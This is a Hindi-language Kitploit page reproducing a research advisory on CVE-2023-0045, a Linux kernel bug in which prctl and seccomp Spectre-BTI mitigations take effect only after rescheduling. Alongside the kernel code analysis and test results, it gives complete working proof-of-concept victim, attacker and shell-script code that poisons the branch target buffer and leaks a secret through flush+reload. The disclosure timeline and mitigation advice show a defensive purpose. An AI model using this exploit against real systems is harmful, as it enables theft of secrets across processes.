Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-0045 — लिनक्स कर्नेल स्पेक्टर-बीटीआई user-space शमन (mitigations) को prctl और seccomp के माध्यम से बायपास करने का तकनीकी विश्लेषण और प्रमाण-अवधारणा, कोड-स्तर स्पष्टीकरण और परीक्षण परिणामों के साथ। | Kitploit
उपकरण/GitHubGitHub/es0j/cve-2023-0045
भेद्यता विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubes0j/cve-2023-0045

CVE-2023-0045

लिनक्स कर्नेल स्पेक्टर-बीटीआई user-space शमन (mitigations) को prctl और seccomp के माध्यम से बायपास करने का तकनीकी विश्लेषण और प्रमाण-अवधारणा, कोड-स्तर स्पष्टीकरण और परीक्षण परिणामों के साथ।

रिपॉजिटरी देखें
1423 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

लिनक्स पर Spectre-BTI यूज़र स्पेस मिटिगेशन को बायपास करना

यह एक कार्यशील दस्तावेज़ है, कृपया हमें प्रतिक्रिया भेजें यदि आपको लगता है कि हमने कुछ गलत किया है या कोई उद्धरण छूट गया है

संस्करण 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

परिचय

जब Spectre-BTI हमलों की सफलता दर का परीक्षण कर रहे थे, तो हमने कर्नेल API को मिटिगेशन के रूप में उपयोग करने पर एक अजीब पैटर्न का पता लगाया1। हमारे परीक्षणों से पता चला कि Linux कर्नेल syscall के बाद थोड़े समय के लिए प्रक्रिया को उजागर छोड़ते हुए हमले को सही ढंग से मिटिगेट करने में विफल रहता है।

आगे की जांच से पता चला कि कर्नेल syscall के दौरान तुरंत IBPB जारी नहीं करता है। ib_prctl_set2 फ़ंक्शन कार्य के लिए Thread Information Flags (TIFs) को अपडेट करता है और __speculation_ctrl_update फ़ंक्शन पर SPEC_CTRL MSR को अपडेट करता है, लेकिन IBPB केवल अगले शेड्यूल पर जारी किया जाता है, जब TIF बिट्स की जाँच की जाती है। यह पीड़ित को prctl syscall से पहले BTB में पहले से इंजेक्ट किए गए मानों के प्रति संवेदनशील छोड़ता है। व्यवहार केवल कार्य के पुनर्निर्धारण के बाद ठीक किया जाता है। इसके अलावा, कर्नेल प्रवेश (syscall के कारण), डिफ़ॉल्ट परिदृश्यों में IBPB जारी नहीं करता है (यानी, जब कर्नेल retpoline या eIBRS के माध्यम से स्वयं की रक्षा करता है)।

3

prctl मिटिगेशन

निम्नलिखित का उपयोग करके spectre-BTI हमलों को मिटिगेट करने के लिए prctl निष्पादित करना: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); कर्नेल 5.15 पर ib_prctl_set2 फ़ंक्शन की ओर ले जाता है। जब विकल्प SPEC_DISABLE का उपयोग किया जाता है तो task_set_spec_ib_disable के लिए TIF बिट सेट किया जाता है और task_update_spec_tif को कॉल किया जाता है:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); को कॉल करता है और यदि लक्ष्य कार्य वर्तमान है तो यह speculation_ctrl_update_current(); को कॉल करता है:

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

speculation_ctrl_update_current speculation_ctrl_update रैपर के बाद tifp = ~tifp के साथ __speculation_ctrl_update निष्पादित करता है, यहाँ STIBP सेट करने के लिए wrmsr का अद्यतन निष्पादित किया जाता है लेकिन कोई IBPB जारी नहीं किया जाता है:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

seccomp syscall भी ib_prctl_set2 का उपयोग मिटिगेशन के रूप में करता है, arch_seccomp_spec_mitigate4 के अंदर, इसलिए seccomp के साथ भी वही परिणाम अपेक्षित है।

परीक्षण

जबकि कोड विश्लेषण के माध्यम से हमें यकीन है कि शोषण के लिए विंडो मौजूद है, यह स्पष्ट नहीं था कि यह पीड़ित को रहस्य लोड करने और हमलावर को उन्हें लीक करने के लिए पर्याप्त बड़ी है या नहीं (क्योंकि रहस्य prctl कॉल जारी होने तक पीड़ित के पता स्थान में नहीं होने की उम्मीद है)। परीक्षण एक बेयर मेटल मशीन पर हार्डवेयर मिटिगेशन के समर्थन के साथ, ubuntu 22.04.1 LTS स्थापित के साथ निष्पादित किए गए थे:

root@kitploit:~
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

परीक्षण कोड में एक ही लॉजिक कोर पर निष्पादित होने वाली दो प्रक्रियाएँ होती हैं। हमलावर लगातार BTB को पीड़ित प्रक्रिया पर मौजूद एक spectre गैजेट के पते से जहर देता है। पीड़ित प्रक्रिया यह जाँच करके गलत अनुमान दर को मापती है कि क्या एक परीक्षण चर को spectre गैजेट फ़ंक्शन द्वारा एक्सेस किया गया था। यह आमतौर पर निम्नलिखित आउटपुट देता है:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

फिर, हमले को मिटिगेट करने के लिए PRCTL का उपयोग किया जाता है। मिटिगेशन को प्रोग्राम की शुरुआत में prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); जोड़कर सक्षम किया जा सकता है। इससे spectre-BTI हमले को मिटिगेट करने की उम्मीद है:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

हालांकि, कुछ परीक्षणों ने एक अलग परिणाम दिखाया:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

और 'nice' (प्राथमिकता) बदलने से गलत अनुमान दर प्रभावित होती प्रतीत होती है:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

यह इंगित करता है कि prctl ने प्रक्रिया को केवल अगले शेड्यूल के बाद ही संरक्षित किया, जैसा कि कोड विश्लेषण से समझा गया था। इस परीक्षण का एक और अजीब व्यवहार यह है कि एक गलत शाखा के बाद, अनुमान पथ को सही किया जाना चाहिए और सही मान BTB पर लिखा जाना चाहिए। चूंकि BTB को पुनः जहर देने के लिए सहयोगी थ्रेड पर कोई अन्य हमलावर नहीं है, ऐसे उच्च गलत अनुमान मान अप्रत्याशित हैं।

प्रमाण की अवधारणा (Proof of Concept)

यह सुनिश्चित करने के लिए कि यह माप त्रुटि नहीं थी, हमने एक सरल POC बनाया। पीड़ित कोड हमेशा एक फ़ंक्शन पॉइंटर के माध्यम से safe_function निष्पादित करता है जो spectre-BTI हमले के लिए संवेदनशील है। पीड़ित prctl syscall ( protect_me के अंदर) का उपयोग करके कर्नेल से सुरक्षा का अनुरोध करता है। पीड़ित एक टेक्स्ट फ़ाइल से एक रहस्य भी लोड करता है, यह दर्शाता है कि अन्य syscalls भी TIF बिट की जाँच नहीं करते हैं या एक पुनर्निर्धारण को उकसाते नहीं हैं जो IBPB को बाध्य करेगा।

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}
root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}
root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

यह निम्नलिखित टेक्स्ट फ़ाइल छोड़ता है:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

ध्यान दें कि बिट 0 और 6 1 हैं, इसलिए पहला वर्ण 0x41(A) होना चाहिए। एक सरल python स्क्रिप्ट के साथ फ़ाइल को पार्स करने से पता चलता है: The secret leaked is: b'Asuper_secret_flag' जो पीड़ित द्वारा उपयोग किए गए secret.txt पर मौजूद सटीक सामग्री है।

रहस्य लोड करने के बाद seccomp के लिए prctl कॉल को syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); से बदलने से हमले को रोका नहीं जा सकता। यह अपेक्षित है क्योंकि आंतरिक रूप से दोनों मिटिगेशन को लागू करने के लिए एक ही ib_prctl_set फ़ंक्शन का उपयोग करते हैं।

निष्कर्ष

अनुमानात्मक नियंत्रण के लिए prctl syscall का वर्तमान कार्यान्वयन उपयोगकर्ता को मिटिगेशन से पहले निष्पादित होने वाले हमलावरों से बचाने में विफल रहता है। इस परिदृश्य में seccomp मिटिगेशन भी विफल हो जाता है।

मिटिगेशन

उपयोगकर्ता-मोड अनुप्रयोगों के लिए, prctl कॉल के बाद एक usleep पुनर्निर्धारण को बाध्य करने और सही मिटिगेशन सुनिश्चित करने के लिए पर्याप्त है। इस हमले के लिए एक संभावित कर्नेल पैच __speculation_ctrl_update 3 पर IBPB को उसी समय जारी करना है जब STIBP सेट किया जाता है, या schedule() को कॉल करना है।

समयरेखा

  • December 27 2022 - prctl पर अप्रत्याशित व्यवहार का पता चला

  • December 29 2022 - इस लेखन का पहला संस्करण

  • December 31 2022 - Linux Kernel Security टीम के साथ साझा किया गया

  • February 02 2023 - रिपोर्ट सार्वजनिक रूप से खुलासा: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

संदर्भ:

Footnotes

  1. “The Linux kernel user-space API guide: Speculation Control”. लिंक: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. "Linux Source code" लिंक: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3

  3. "Linux Source code" लिंक: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2

  4. "Linux Source code" लिंक: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩

टूल डाउनलोड करें